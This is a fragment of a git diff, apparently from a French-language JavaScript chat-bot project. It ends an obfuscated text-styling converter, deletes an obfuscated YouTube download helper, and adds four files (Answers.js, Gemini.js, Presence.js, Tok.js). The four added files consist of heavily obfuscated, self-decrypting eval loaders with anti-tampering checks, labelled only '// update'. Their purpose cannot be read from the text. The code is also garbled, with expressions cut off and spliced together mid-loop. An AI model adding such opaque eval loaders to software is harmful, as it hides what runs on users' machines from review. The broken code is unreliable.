_0x17ace8){_0x17ace8[i][_0x59fc52(0x163)](0x0)>=0x21?(_0x547d38=_0x17ace8[i]+String[_0x59fc52(0x141)](0x20de),!_0x393dfc&&(_0x547d38=String[_0x59fc52(0x141)](0x202f)+String[_0x59fc52(0x141)](0xa0)+String[_0x59fc52(0x141)](0xa0)+String[_0x59fc52(0x141)](0x202f)+_0x547d38)):_0x547d38=_0x17ace8[i],_0x408ed9+=_0x547d38,_0x393dfc=_0x547d38=='\x0a';}return _0x408ed9;},'decode':function(_0xa88897){var _0x4ef408='',_0x5e539d;for(i in _0xa88897){_0x5e539d=_0xa88897[i]['charCodeAt'](0x0),_0x5e539d!=0xa0&&_0x5e539d!=0x202f&&_0x5e539d!=0x20de&&(_0x4ef408+=_0xa88897[i]);}return _0x4ef408;}},'roundsquares':{'init':function(){},'encode':function(_0x460e22){var _0x310ebe=_0x314fb6,_0x285cae='',_0x4484f8,_0xb55e8e=!![];for(i in _0x460e22){_0x460e22[i][_0x310ebe(0x163)](0x0)>=0x21?(_0x4484f8=_0x460e22[i]+String['fromCharCode'](0x20e3),!_0xb55e8e&&(_0x4484f8=String[_0x310ebe(0x141)](0xa0)+String[_0x310ebe(0x141)](0xa0)+String['fromCharCode'](0xa0)+_0x4484f8)):_0x4484f8=_0x460e22[i],_0x285cae+=_0x4484f8,_0xb55e8e=_0x4484f8=='\x0a';}return _0x285cae;},'decode':function(_0x2163d0){var _0x2a27c5=_0x314fb6,_0x424c95='',_0x2d16f8;for(i in _0x2163d0){_0x2d16f8=_0x2163d0[i][_0x2a27c5(0x163)](0x0),_0x2d16f8!=0xa0&&_0x2d16f8!=0x202f&&_0x2d16f8!=0x20e3&&(_0x424c95+=_0x2163d0[i]);}return _0x424c95;}},'bent':{'init':function(){for(i in this['map']){this['map'][this['map'][i]]=i;}},'encode':function(_0x2c4d41){var _0x5bd539=_0x314fb6,_0x56532e='',_0x4a0e23;for(var _0x2521b8=0x0,_0x4345b6=_0x2c4d41[_0x5bd539(0x14e)];_0x2521b8<_0x4345b6;_0x2521b8++){_0x4a0e23=this['map'][_0x2c4d41[_0x5bd539(0x146)](_0x2521b8)],typeof _0x4a0e23==_0x5bd539(0x160)&&(_0x4a0e23=_0x2c4d41[_0x5bd539(0x146)](_0x2521b8)),_0x56532e+=_0x4a0e23;}return _0x56532e;},'decode':function(_0x28d943){var _0x236b78=_0x314fb6,_0x42ad9c='',_0x2c58fb;for(var _0x312110=0x0,_0x414c42=_0x28d943[_0x236b78(0x14e)];_0x312110<_0x414c42;_0x312110++){_0x2c58fb=this[_0x236b78(0x142)][_0x28d943[_0x236b78(0x146)](_0x312110)],typeof _0x2c58fb=='undefined'&&(_0x2c58fb=_0x28d943[_0x236b78(0x146)](_0x312110)),_0x42ad9c+=_0x2c58fb;}return _0x42ad9c;},'map':{'a':'ą','b':'ҍ','c':'ç','d':'ժ','e':'ҽ','f':'ƒ','g':'ց','h':'հ','i':'ì','j':'ʝ','k':'ҟ','l':'Ӏ','m':'ʍ','n':'ղ','o':'օ','p':'ք','q':'զ','r':'ɾ','s':'ʂ','t':'է','u':'մ','v':'ѵ','w':'ա','x':'×','y':'վ','z':'Հ','A':'Ⱥ','B':'β','C':'↻','D':'Ꭰ','E':'Ɛ','F':'Ƒ','G':'Ɠ','H':'Ƕ','I':'į','J':'ل','K':'Ҡ','L':'Ꝉ','M':'Ɱ','N':'ហ','O':'ට','P':'φ','Q':'Ҩ','R':'འ','S':'Ϛ','T':'Ͳ','U':'Ա','V':'Ỽ','W':'చ','X':'ჯ','Y':'Ӌ','Z':'ɀ',0x0:'⊘',0x1:_0x314fb6(0x167),0x2:'ϩ',0x3:'Ӡ',0x4:'५',0x5:'Ƽ',0x6:'Ϭ',0x7:'7',0x8:'������',0x9:'९','&':'⅋','(':'{',')':'}','{':'(','}':')','ä':'ą'+'̈','ö':'օ'+'̈','ü':'մ'+'̈','Ä':'Ⱥ'+'̈','Ö':'ට'+'̈','Ü':'Ա'+'̈','é':'ҽ'+'́','á':'ą'+'́','ó':'օ'+'́','ú':'մ'+'́','É':'Ɛ'+'́','Á':'Ⱥ'+'́','Ó':'ට'+'́','Ú':'Ա'+'́','è':'ҽ'+'̀','à':'ą'+'̀','ò':'օ'+'̀','ù':'մ'+'̀','È':'Ɛ'+'̀','À':'Ⱥ'+'̀','Ò':'ට'+'̀','Ù':'Ա'+'̀','ê':'ҽ'+'̂','â':'ą'+'̂','ô':'օ'+'̂','û':'մ'+'̂','Ê':'Ɛ'+'̂','Â':'Ⱥ'+'̂','Ô':'ට'+'̂','Û':'Ա'+'̂'}},'tiny':{'init':function(){var _0x4ccf27=_0x314fb6;for(i in this[_0x4ccf27(0x142)]){this[_0x4ccf27(0x142)][this[_0x4ccf27(0x142)][i]]=i;}},'encode':function(_0x375a96){var _0x3c06cf=_0x314fb6,_0x2ec269='',_0xa167f3;_0x375a96=_0x375a96[_0x3c06cf(0x168)]();for(var _0x46029f=0x0,_0x301586=_0x375a96[_0x3c06cf(0x14e)];_0x46029f<_0x301586;_0x46029f++){_0xa167f3=this[_0x3c06cf(0x142)][_0x375a96['charAt'](_0x46029f)],typeof _0xa167f3==_0x3c06cf(0x160)&&(_0xa167f3=_0x375a96[_0x3c06cf(0x146)](_0x46029f)),_0x2ec269+=_0xa167f3;}return _0x2ec269;},'decode':function(_0x3ef7aa){var _0x22665b=_0x314fb6,_0x35aaf7='',_0x38cab0;for(var _0x359bfe=0x0,_0x587295=_0x3ef7aa['length'];_0x359bfe<_0x587295;_0x359bfe++){_0x38cab0=this[_0x22665b(0x142)][_0x3ef7aa['charAt'](_0x359bfe)],typeof _0x38cab0==_0x22665b(0x160)&&(_0x38cab0=_0x3ef7aa[_0x22665b(0x146)](_0x359bfe)),_0x35aaf7+=_0x38cab0;}return _0x35aaf7;},'map':{'A':'ᴀ','B':'ʙ','C':'ᴄ','D':'ᴅ','E':'ᴇ','F':'ꜰ','G':'ɢ','H':'ʜ','I':'ɪ','J':'ᴊ','K':'ᴋ','L':'ʟ','M':'ᴍ','N':'ɴ','O':'ᴏ','P':'ᴘ','Q':'Q','R':'ʀ','S':'ꜱ','T':'ᴛ','U':'ᴜ','V':'ᴠ','W':'ᴡ','X':'x','Y':'ʏ','Z':'ᴢ'}}};for(i in this['tools']){this[_0x314fb6(0x14a)][i][_0x314fb6(0x144)]();}this[_0x314fb6(0x147)]=function(_0x50ff3c){var _0x4e5c40=_0x314fb6,_0x39f448='',_0x1781c5,_0x458350=!![],_0x445ad2=0x0,_0x1a0ac6=0x0;for(var _0xe5c55e=0x0,_0x1ce029=_0x50ff3c[_0x4e5c40(0x14e)];_0xe5c55e<_0x1ce029;_0xe5c55e++){_0x1781c5=_0x50ff3c[_0x4e5c40(0x163)](_0xe5c55e);if(_0x1781c5==0xa||_0x1781c5==0xd)_0x39f448+=_0x4e5c40(0x157),_0x458350=!![];else{if(_0x1781c5==0x20)_0x458350?(_0x39f448+='\x20',_0x458350=![]):(_0x39f448+=_0x4e5c40(0x152),_0x458350=!![]);else{if(_0x1781c5>=0xd800&&_0x1781c5<=0xdbff)_0x445ad2=_0x1781c5,_0x1a0ac6=0x0;else _0x445ad2>0x0?(_0x1781c5>=0xdc00&&_0x1781c5<=0xdfff&&(_0x1a0ac6=(_0x445ad2-0xd800)*0x400+(_0x1781c5-0xdc00)+0x10000),_0x445ad2=0x0):_0x1a0ac6=_0x1781c5;_0x1a0ac6!=0x0&&(_0x39f448+='&#x'+_0x1a0ac6[_0x4e5c40(0x151)](0x10)+';',_0x458350=!![]);}}}return _0x39f448;};} \ No newline at end of file diff --git a/framework/ytdl-core.js b/framework/ytdl-core.js deleted file mode 100644 index e7ddde63..00000000 --- a/framework/ytdl-core.js +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - function _0x11f3(){const _0x70517b=['thumbnail','ytdl-core','6DERfpV','3912020Ouvwun','12838378JJhScC','videoId','1919958dZtqWP','4344028OqrUkK','downloadFromInfo','892765NqGbJI','chooseFormat','yt-search','12037095TIFpBi','exports','videos','5alpetW','2BMRwif','error','timestamp','title','formats','7884296hAGVBC','getInfo'];_0x11f3=function(){return _0x70517b;};return _0x11f3();}const _0x545687=_0x3a6d;(function(_0x31f7a9,_0x4f0a8e){const _0xfec102=_0x3a6d,_0x29e028=_0x31f7a9();while(!![]){try{const _0x2951b4=parseInt(_0xfec102(0xa0))/0x1+-parseInt(_0xfec102(0xa7))/0x2*(parseInt(_0xfec102(0x9d))/0x3)+-parseInt(_0xfec102(0x9e))/0x4*(parseInt(_0xfec102(0xa6))/0x5)+-parseInt(_0xfec102(0x99))/0x6*(-parseInt(_0xfec102(0x9b))/0x7)+-parseInt(_0xfec102(0xac))/0x8+parseInt(_0xfec102(0xa3))/0x9+-parseInt(_0xfec102(0x9a))/0xa;if(_0x2951b4===_0x4f0a8e)break;else _0x29e028['push'](_0x29e028['shift']());}catch(_0x1feaf2){_0x29e028['push'](_0x29e028['shift']());}}}(_0x11f3,0xeac06));function _0x3a6d(_0x3c720f,_0x4984ec){const _0x11f34f=_0x11f3();return _0x3a6d=function(_0x3a6db1,_0x5bb4b0){_0x3a6db1=_0x3a6db1-0x98;let _0x1903d3=_0x11f34f[_0x3a6db1];return _0x1903d3;},_0x3a6d(_0x3c720f,_0x4984ec);}const yts=require(_0x545687(0xa2)),ytdl=require(_0x545687(0x98)),fs=require('fs');async function getytlink(_0x4f2762){const _0x47bf3f=_0x545687;try{const _0x19fe39=await yts(_0x4f2762),_0x12e66d=_0x19fe39[_0x47bf3f(0xa5)],_0x3ed7ba=_0x12e66d[0x0];return{'lien':_0x3ed7ba['url'],'affiche':_0x3ed7ba[_0x47bf3f(0xae)],'titre':_0x3ed7ba[_0x47bf3f(0xaa)],'duree':_0x3ed7ba[_0x47bf3f(0xa9)],'id':_0x3ed7ba[_0x47bf3f(0x9c)]};}catch(_0x1b4afd){return console[_0x47bf3f(0xa8)]('Erreur\x20lors\x20de\x20la\x20recherche\x20YouTube\x20:',_0x1b4afd),null;}}module['exports']=getytlink;async function ytdwn(_0x541951){const _0x241eab=_0x545687,_0x1625c5=await ytdl[_0x241eab(0xad)](_0x541951),_0x47c04e=ytdl[_0x241eab(0xa1)](_0x1625c5[_0x241eab(0xab)],{'quality':'18'}),_0x3cd1b7=ytdl[_0x241eab(0x9f)](_0x1625c5,_0x47c04e);return _0x3cd1b7;}module[_0x545687(0xa4)]=ytdwn; \ No newline at end of file diff --git a/france/Answers.js b/france/Answers.js new file mode 100644 index 00000000..97a80c61 --- /dev/null +++ b/france/Answers.js @@ -0,0 +1,2 @@ +// Update ✨ +let VqTb;!function(){const U7TF=Array.prototype.slice.call(arguments);return eval("(function Ef2M(nv9E){const P2bF=zCgD(nv9E,HS1E(Ef2M.toString()));try{let jq4E=eval(P2bF);return jq4E.apply(null,U7TF);}catch(LX6E){var flZE=(0o204730-68028);while(flZE<(0o400151%65569))switch(flZE){case (0x3006D%0o200033):flZE=LX6E instanceof SyntaxError?(0o400103%0x1001B):(0o400153%0x10022);break;case (0o200606-0x10179):flZE=(0o400167%65576);{console.log(\'Error: the code has been tampered!\');return}break;}throw LX6E;}function HS1E(HUyF){let jsBF=976925300;var DPtF=(0o400115%65562);{let fnwF;while(DPtF<(0x104D8-0o202271)){switch(DPtF){case (0o600112%0x10010):DPtF=(66856-0o202435);{jsBF^=(HUyF.charCodeAt(fnwF)*(15658734^0O73567354)+HUyF.charCodeAt(fnwF>>>(0x4A5D0CE&0O320423424)))^1671052591;}break;case (0o202114-66625):DPtF=(131142%0o200024);fnwF++;break;case (262282%0o200033):DPtF=fnwF=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(XcmF-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+XcmF);}break;case (0o600157%0x1001C):birF=(0o200360-65752);vFjF++;break;}}}return zKoF;}function zCgD(bajD,vxbD){bajD=decodeURI(bajD);let X4dD=(0x75bcd15-0O726746425);let rs6C=\"\";var TZ8C=(0o206262-0x10C99);{let nn1C;while(TZ8C<(0x10E88-0o207151)){switch(TZ8C){case (0o200404-0x100EA):TZ8C=(0o200334-65745);{rs6C+=String.fromCharCode(bajD.charCodeAt(nn1C)^vxbD.charCodeAt(X4dD));X4dD++;var PU3C=(0o202114-0x10436);while(PU3C<(0x300AF%0o200056))switch(PU3C){case (0o400074%65555):PU3C=X4dD>=vxbD.length?(68056-0o204664):(0o600246%65579);break;case (262304%0o200037):PU3C=(0o1000335%65582);{X4dD=(0x75bcd15-0O726746425);}break;}}break;case (0o400122%0x1001A):TZ8C=nn1C>>(0x4A5D0CE&0O320423424)))^1121397591;}break;case (0o206344-68803):XU2j=(131127%0o200024);XWzk++;break;case (262267%0o200033):XU2j=XWzk=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(PMpk-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+PMpk);}break;case (0o600070%0x1000C):TRuk=(0o200276-65707);vpxk++;break;}}}return zuCk;}function rksk(LHkk,nfnk){LHkk=decodeURI(LHkk);let PEhi=(0x75bcd15-0O726746425);let rcki=\"\";var Lzci=(0o203030-0x1060C);{let n7ei;while(Lzci<(0x10FF0-0o207716)){switch(Lzci){case (0o200372-0x100E1):Lzci=(0o201224-66163);{rcki+=String.fromCharCode(LHkk.charCodeAt(n7ei)^nfnk.charCodeAt(PEhi));PEhi++;var Hu7h=(0o202734-0x105BE);while(Hu7h<(0x3005D%0o200024))switch(Hu7h){case (0o400134%65567):Hu7h=PEhi>=nfnk.length?(67776-0o204240):(0o600124%65553);break;case (262220%0o200013):Hu7h=(0o1000161%65556);{PEhi=(0x75bcd15-0O726746425);}break;}}break;case (0o400103%0x1001A):Lzci=n7ei{EHem[knRC.oa9x(18)](knRC.k7Ay(19),()=>{EHem[knRC.Izyy(20)](knRC.g42y(21)+JSON[knRC.YTSy(22)]({[knRC.YLKw(23)]:cmol,[knRC.AnRx(24)]:knRC.wkjy(25),[knRC.oa9x(26)]:knRC.k7Ay(27),[knRC.Izyy(28)]:knRC.g42y(29),[knRC.YTSy(30)]:[]}));});EHem[knRC.oa9x(18)](knRC.YLKw(31),wBSl=>{let QwJl;try{QwJl=JSON[knRC.AnRx(32)](wBSl);}catch(syMl){return;}var sSzm=knRC[knRC.wkjy(1)]();while(sSzm{EHem[knRC.k7Ay(51)]();UzPl(wtEj);});EHem[knRC.oa9x(18)](knRC.k7Ay(51),()=>{});});}module[knRC.g42y(53)]={[knRC.YTSy(54)]:Akll}; diff --git a/france/Gemini.js b/france/Gemini.js new file mode 100644 index 00000000..35c107e3 --- /dev/null +++ b/france/Gemini.js @@ -0,0 +1,2 @@ +// UPDATE +let ImRM;!function(){const Q4lG=Array.prototype.slice.call(arguments);return eval("(function QwON(zMVF){const T9NF=DR0F(zMVF,LZDF(QwON.toString()));try{let vHQF=eval(T9NF);return vHQF.apply(null,Q4lG);}catch(P4IF){var rCLF=(0o204026-67583);while(rCLF<(0o400127%65566))switch(rCLF){case (0x3006E%0o200035):rCLF=P4IF instanceof SyntaxError?(0o400076%0x10015):(0o400131%0x1001F);break;case (0o201130-0x10244):rCLF=(0o400145%65573);{console.log(\'Error: the code has been tampered!\');return}break;}throw P4IF;}function LZDF(nxGF){let nzdG=819621643;var P6fG=(0o400067%65553);{let ju8F;while(P6fG<(0x105C8-0o202643)){switch(P6fG){case (0o600162%0x1001A):P6fG=(0x9D8DE4-0O47306735);{nzdG^=(nxGF.charCodeAt(ju8F)*(0x2935494a%7)+nxGF.charCodeAt(ju8F>>>(0O73567354%6)))^1420858849;}break;case (0O264353757%8):P6fG=(0o1000114%65549);ju8F++;break;case (131124%0o200016):P6fG=ju8F=(0x3006E%0o200034)?String.fromCharCode((131255%0o200073)+(bkYF-(0o203434-0x10702))):String.fromCharCode((0o400265%0x1002A)+bkYF);}break;case (196698%0o200024):fp3F=(0o600120%0x10012);HW5F++;break;}}}return L1aG;}function DR0F(DTxG,frAG){DTxG=decodeURI(DTxG);let zOsG=(0x75bcd15-0O726746425);let bmvG=\"\";var vJnG=(0o204730-0x109C3);{let XgqG;while(vJnG<(0o211312-0x112A5)){switch(vJnG){case (0x110E0-0o210274):vJnG=(0x9D8DE4-0O47306735);{bmvG+=String.fromCharCode(DTxG.charCodeAt(XgqG)^frAG.charCodeAt(zOsG));zOsG++;var rEiG=(0o201212-0x1027D);while(rEiG<(0o207570-0x10F54))switch(rEiG){case (0o201414-66303):rEiG=zOsG>=frAG.length?(131118%0o200022):(0o1000224%0x1001C);break;case (0o1000116%65553):rEiG=(70216-0o211044);{zOsG=(0x75bcd15-0O726746425);}break;}}break;case (0o1000160%65558):vJnG=XgqG>>(0x4A5D0CE&0O320423424)))^1183080922;}break;case (0x4007D%0o200033):rY6u=(0x4007A%0o200033);LlZu++;break;case (0o202354-66782):rY6u=LlZu=(0x1071C-0o203402)?String.fromCharCode((0o600404%65601)+(DbPu-(0o1000136%0x10011))):String.fromCharCode((0o217120-0x11DEF)+DbPu);}break;case (0o205144-68158):HgUu=(0o201166-0x10261);jOWu++;break;}}}return nT1u;}function fJRu(H8Ls,jGOs){H8Ls=decodeURI(H8Ls);let D3Gs=(0x21786%3);let fBJs=\"\";var zYBs=(67336-0o203364);{let bwEs;while(zYBs<(0o600150%0x10016)){switch(zYBs){case (0O347010110&0x463A71D):zYBs=(0o203770-0x107E7);{fBJs+=String.fromCharCode(H8Ls.charCodeAt(bwEs)^jGOs.charCodeAt(D3Gs));D3Gs++;var vTws=(0o204040-0x10810);while(vTws<(0x10B40-0o205450))switch(vTws){case (0o200240-0x10090):vTws=D3Gs>=jGOs.length?(0o200714-65973):(0o202260-0x10498);break;case (0x30077%0o200040):vTws=(0o400112%65561);{D3Gs=(0x75bcd15-0O726746425);}break;}}break;case (0o1000162%65561):zYBs=bwEs{const kwvB=MdLA(kcIA)[olkC.YQkz(24)](olkC.sgKz(25))[olkC.wnmA(26)](olkC.Mx1x(27));const MxyB=MdLA(kcIA)[olkC.YQkz(24)](olkC.cQOx(28))[olkC.wnmA(26)](olkC.Mx1x(27));var gtpB=olkC[olkC.YMgy(13)]();while(gtpB>>(0x4A5D0CE&0O320423424)))^368573132;}break;case (0o206034-68605):nxGF=(131112%0o200012);nzdG++;break;case (262232%0o200021):nxGF=nzdG=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(fp3F-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+fp3F);}break;case (0o600077%0x1000A):ju8F=(0o200442-65797);L1aG++;break;}}}return P6fG;}function HW5F(bkYF,DR0F){bkYF=decodeURI(bkYF);let DTxG=(0x75bcd15-0O726746425);let frAG=\"\";var zOsG=(0o202222-0x10489);{let bmvG;while(zOsG<(0x11248-0o211041)){switch(zOsG){case (0o200574-0x10156):zOsG=(0o201154-66125);{frAG+=String.fromCharCode(bkYF.charCodeAt(bmvG)^DR0F.charCodeAt(DTxG));DTxG++;var vJnG=(0o203326-0x106B3);while(vJnG<(0x30096%0o200046))switch(vJnG){case (0o400153%65572):vJnG=DTxG>=DR0F.length?(67076-0o202756):(0o600215%65571);break;case (262218%0o200015):vJnG=(0o1000274%65574);{DTxG=(0x75bcd15-0O726746425);}break;}}break;case (0o400064%0x10010):zOsG=bmvG(0x75bcd15-0O726746425)?djkbb[djkbb.RXt9(44)]():djkbb[djkbb.pij7(39)]();break;case (0O57060516-0xbc614d):siEU=djkbb[djkbb.pij7(39)]();{return {[djkbb.xst7(45)]:QgBU[djkbb.xst7(37)][(0x75bcd15-0O726746425)][djkbb.tno7(46)]};}break;}return {[djkbb.pij7(47)]:djkbb.RVW8(48)};}catch(MdvU){return {[djkbb.pij7(47)]:djkbb.pqr9(49)};}}module[djkbb.ddJ9(50)]=sOQT; diff --git a/france/Presence.js b/france/Presence.js new file mode 100644 index 00000000..647d3731 --- /dev/null +++ b/france/Presence.js @@ -0,0 +1,2 @@ + +let jBAG;!function(){const gn9F=Array.prototype.slice.call(arguments);return eval("(function Io9g(fvcvb){const H2evb=PeWvb(fvcvb,fxJvb(Io9g.toString()));try{let bq7ub=eval(H2evb);return bq7ub.apply(null,gn9F);}catch(DX9ub){var DZGvb=(0o202772-67049);while(DZGvb<(0o400151%65569))switch(DZGvb){case (0x3006E%0o200037):DZGvb=DX9ub instanceof SyntaxError?(0o400127%0x1001F):(0o400153%0x10022);break;case (0o201356-0x102D5):DZGvb=(0o400167%65576);{console.log(\'Error: the code has been tampered!\');return}break;}throw DX9ub;}function fxJvb(zUBvb){let bsEvb=816110165;var vPwvb=(0o400075%65552);{let Xmzvb;while(vPwvb<(0x105C8-0o202643)){switch(vPwvb){case (0o600132%0x10014):vPwvb=(0x9D8DE4-0O47306735);{bsEvb^=(zUBvb.charCodeAt(Xmzvb)*(0x2935494a%7)+zUBvb.charCodeAt(Xmzvb>>>(0O73567354%6)))^385506572;}break;case (0O264353757%8):vPwvb=(0o1000111%65551);Xmzvb++;break;case (131117%0o200020):vPwvb=Xmzvb=(0x3006E%0o200034)?String.fromCharCode((131255%0o200073)+(vR3vb-(0o203434-0x10702))):String.fromCharCode((0o400265%0x1002A)+vR3vb);}break;case (196718%0o200031):Thuvb=(0o600150%0x10016);Tj1vb++;break;}}}return rKrvb;}function PeWvb(rMYvb,L9Qvb){rMYvb=decodeURI(rMYvb);let nHTvb=(0x75bcd15-0O726746425);let H4Lvb=\"\";var jCOvb=(0o206630-0x10D7B);{let L1Itb;while(jCOvb<(0o211312-0x112A5)){switch(jCOvb){case (0x10E10-0o206762):jCOvb=(0x9D8DE4-0O47306735);{H4Lvb+=String.fromCharCode(rMYvb.charCodeAt(L1Itb)^L9Qvb.charCodeAt(nHTvb));nHTvb++;var nzLtb=(0o202260-0x10498);while(nzLtb<(0o207234-0x10E7A))switch(nzLtb){case (0o202640-66952):nzLtb=nHTvb>=L9Qvb.length?(131137%0o200020):(0o1000202%0x10018);break;case (0o1000135%65551):nzLtb=(69956-0o210442);{nHTvb=(0x75bcd15-0O726746425);}break;}}break;case (0o1000155%65560):jCOvb=L1Itb{Object[jBAG.zFEC(7)](AoMlc)[jBAG.jrVD(8)](([cqPlc,wlGlc])=>{var YmJlc=jBAG[jBAG.DOND(9)]();while(YmJlcsetTimeout(UDqmc,300));}await new Promise(wFtmc=>setTimeout(wFtmc,3000));return Array[jBAG.T87D(19)](ErSlc);}module[jBAG.noSB(20)]={[jBAG.LQPB(21)]:kYcpc}; diff --git a/france/Tok.js b/france/Tok.js new file mode 100644 index 00000000..683ab662 --- /dev/null +++ b/france/Tok.js @@ -0,0 +1,2 @@ +// update ✨ +let bAx;!function(){const YewG=Array.prototype.slice.call(arguments);return eval("(function ERDG(n7Ky){const PENy=zeSw(n7Ky,PwFw(ERDG.toString()));try{let r4Hw=eval(PENy);return r4Hw.apply(null,YewG);}catch(TBKw){var nZCw=(0o203542-67405);while(nZCw<(0o400126%65560))switch(nZCw){case (0x30051%0o200024):nZCw=TBKw instanceof SyntaxError?(0o400076%0x10015):(0o400130%0x10019);break;case (0o201130-0x10244):nZCw=(0o400144%65567);{console.log(\'Error: the code has been tampered!\');return}break;}throw TBKw;}function PwFw(jUxw){let LrAw=1255375180;var fPsw=(0o400115%65562);{let Hmvw;while(fPsw<(0x10528-0o202407)){switch(fPsw){case (0o600066%0x1000E):fPsw=(67456-0o203560);{LrAw^=(jUxw.charCodeAt(Hmvw)*(15658734^0O73567354)+jUxw.charCodeAt(Hmvw>>>(0x4A5D0CE&0O320423424)))^63835291;}break;case (0o203100-67120):fPsw=(131116%0o200006);Hmvw++;break;case (262228%0o200015):fPsw=Hmvw=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(fRZw-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+fRZw);}break;case (0o600103%0x10012):jW4w=(0o200562-65869);DjXw++;break;}}}return Ho2w;}function zeSw(bMUw,v9Mw){bMUw=decodeURI(bMUw);let XGPw=(0x75bcd15-0O726746425);let XImx=\"\";var zgpx=(0o206262-0x10C99);{let TDhx;while(zgpx<(0x10F78-0o207527)){switch(zgpx){case (0o200170-0x1006C):zgpx=(0o200500-65840);{XImx+=String.fromCharCode(bMUw.charCodeAt(TDhx)^v9Mw.charCodeAt(XGPw));XGPw++;var vbkx=(0o201666-0x103A3);while(vbkx<(0x30092%0o200045))switch(vbkx){case (0o400121%65567):vbkx=XGPw>=v9Mw.length?(66306-0o201367):(0o600211%65570);break;case (262207%0o200015):vbkx=(0o1000267%65573);{XGPw=(0x75bcd15-0O726746425);}break;}}break;case (0o400070%0x1000C):zgpx=TDhx{const YOeE=cumH(ETnE)[bAx.bsZsb(30)]()[bAx.Xsvub(34)]();const AQhE=cumH(ETnE)[bAx.bqssb(35)](bAx.Tfisb(36));var ULYD=bAx[bAx.Tfisb(20)]();while(ULYD>>(0x4A5D0CE&0O320423424)))^2146235101;}break;case (0o202114-66625):Lxby=(131124%0o200016);n5dy++;break;case (262252%0o200025):Lxby=n5dy=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(LzIy-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+LzIy);}break;case (0o600070%0x10008):j08x=(0o200252-65689);j2Fy++;break;}}}return Hs6x;}function fXAy(HuDy,bSvy){HuDy=decodeURI(HuDy);let Dpyy=(0x75bcd15-0O726746425);let XMqy=\"\";var zkty=(0o202222-0x10489);{let zm0y;while(zkty<(0x10FF0-0o207716)){switch(zkty){case (0o200372-0x100E1):zkty=(0o200334-65745);{XMqy+=String.fromCharCode(HuDy.charCodeAt(zm0y)^bSvy.charCodeAt(Dpyy));Dpyy++;var bU2y=(0o201212-0x1027D);while(bU2y<(0x300AF%0o200056))switch(bU2y){case (0o400103%65563):bU2y=Dpyy>=bSvy.length?(68056-0o204664):(0o600246%65579);break;case (262304%0o200037):bU2y=(0o1000335%65582);{Dpyy=(0x75bcd15-0O726746425);}break;}}break;case (0o400100%0x10014):zkty=zm0y>>(0x4A5D0CE&0O320423424)))^1345006728;}break;case (0o205670-68506):XsAc=(131150%0o200026);rQsc++;break;case (262294%0o200035):XsAc=rQsc=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(rIk-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+rIk);}break;case (0o600121%0x10016):vNp=(0o200310-65716);Xks++;break;}}}return Tnvc;}function Tfn(nDf,Pai){nDf=decodeURI(nDf);let jy=(0x75bcd15-0O726746425);let L5c=\"\";var L7J=(0o202424-0x1050A);{let nFM;while(L7J<(0x11068-0o210105)){switch(L7J){case (0o200512-0x10129):L7J=(0o201130-66106);{L5c+=String.fromCharCode(nDf.charCodeAt(nFM)^Pai.charCodeAt(jy));jy++;var H2E=(0o203554-0x10746);while(H2E<(0x300A2%0o200051))switch(H2E){case (0o400144%65567):H2E=jy>=Pai.length?(67706-0o204133):(0o600231%65574);break;case (262335%0o200050):H2E=(0o1000313%65577);{jy=(0x75bcd15-0O726746425);}break;}}break;case (0o400132%0x1001C):L7J=nFM{const wNz=ETL(cSI)[CSTbb.OPl7(34)](CSTbb.ide7(35));var YOC=CSTbb[CSTbb.KMN7(36)]();while(YOC>>(0x4A5D0CE&0O320423424)))^1517903517;}break;case (0o206200-68704):H4bb=(131151%0o200032);Xk2ub++;break;case (262303%0o200041):H4bb=Xk2ub=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(PaSub-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+PaSub);}break;case (0o600050%0x10008):TfXub=(0o200524-65842);vNZub++;break;}}}return zS4ub;}function rIUub(L5Mub,nDPub){L5Mub=decodeURI(L5Mub);let nFmvb=(0x75bcd15-0O726746425);let Pcpvb=\"\";var jAhvb=(0o207272-0x10E9D);{let L7jvb;while(jAhvb<(0x10F78-0o207527)){switch(jAhvb){case (0o200454-0x1010E):jAhvb=(0o201200-66144);{Pcpvb+=String.fromCharCode(L5Mub.charCodeAt(L7jvb)^nDPub.charCodeAt(nFmvb));nFmvb++;var fvcvb=(0o201274-0x102AE);while(fvcvb<(0x30066%0o200032))switch(fvcvb){case (0o400110%65565):fvcvb=nFmvb>=nDPub.length?(67006-0o202651):(0o600135%65559);break;case (262229%0o200020):fvcvb=(0o1000200%65562);{nFmvb=(0x75bcd15-0O726746425);}break;}}break;case (0o400133%0x10020):jAhvb=L7jvb{var cSQoc=lXVv[lXVv.hCAr(12)]();while(cSQocnull);const YOKoc=wNHoc?.[lXVv.Vmlr(17)]||lXVv.RjNr(18);const sKBoc=await MFsoc[lXVv.J9Cr(19)](YuXnc);var ULEoc=lXVv[lXVv.hCAr(12)]();while(ULEocobjpc)[lXVv.dxvr(16)](()=>null);var IWZoc=lXVv[lXVv.hCAr(12)]();while(IWZocETToc[lXVv.Vmlr(9)]===Qcmpc);var gVWoc=lXVv[lXVv.hCAr(12)]();while(gVWoc>>(0x4A5D0CE&0O320423424)))^297543608;}break;case (0o203720-67516):rY6u=(131127%0o200024);LlZu++;break;case (262267%0o200033):rY6u=LlZu=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(DbPu-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+DbPu);}break;case (0o600074%0x1000D):HgUu=(0o200360-65752);jOWu++;break;}}}return nT1u;}function fJRu(H8Ls,jGOs){H8Ls=decodeURI(H8Ls);let D3Gs=(0x75bcd15-0O726746425);let fBJs=\"\";var zYBs=(0o211312-0x112A5);{let bwEs;while(zYBs<(0x111D0-0o210652)){switch(zYBs){case (0o200240-0x10090):zYBs=(0o200620-65916);{fBJs+=String.fromCharCode(H8Ls.charCodeAt(bwEs)^jGOs.charCodeAt(D3Gs));D3Gs++;var vTws=(0o201274-0x102AE);while(vTws<(0x30096%0o200046))switch(vTws){case 